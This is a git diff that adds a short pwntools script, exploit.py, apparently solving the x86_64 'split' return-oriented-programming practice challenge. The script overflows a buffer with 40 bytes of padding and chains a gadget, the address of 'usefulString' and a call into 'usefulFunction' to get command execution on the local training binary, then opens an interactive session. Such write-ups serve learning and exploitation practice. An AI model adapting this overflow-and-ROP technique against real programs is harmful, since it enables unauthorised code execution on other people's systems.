diff options
Diffstat (limited to 'x86_64/split/exploit.py')
-rwxr-xr-x | x86_64/split/exploit.py | 17 |
1 files changed, 17 insertions, 0 deletions
diff --git a/x86_64/split/exploit.py b/x86_64/split/exploit.py new file mode 100755 index 0000000..0340b77 --- /dev/null +++ b/x86_64/split/exploit.py @@ -0,0 +1,17 @@ +#!/usr/bin/env python3 +from pwn import * + + +context.binary = "./split" +prog = process('./split') +payload = b'' + +for c in range(40): #originally 40 + payload += b'a' + +payload += p64(0x00000000004007c3) +payload += p64(0x0000000000601060) # usefulString +payload += p64(0x000000000040074b) # usefulFunction + offset + +prog.sendline(payload) +prog.interactive() |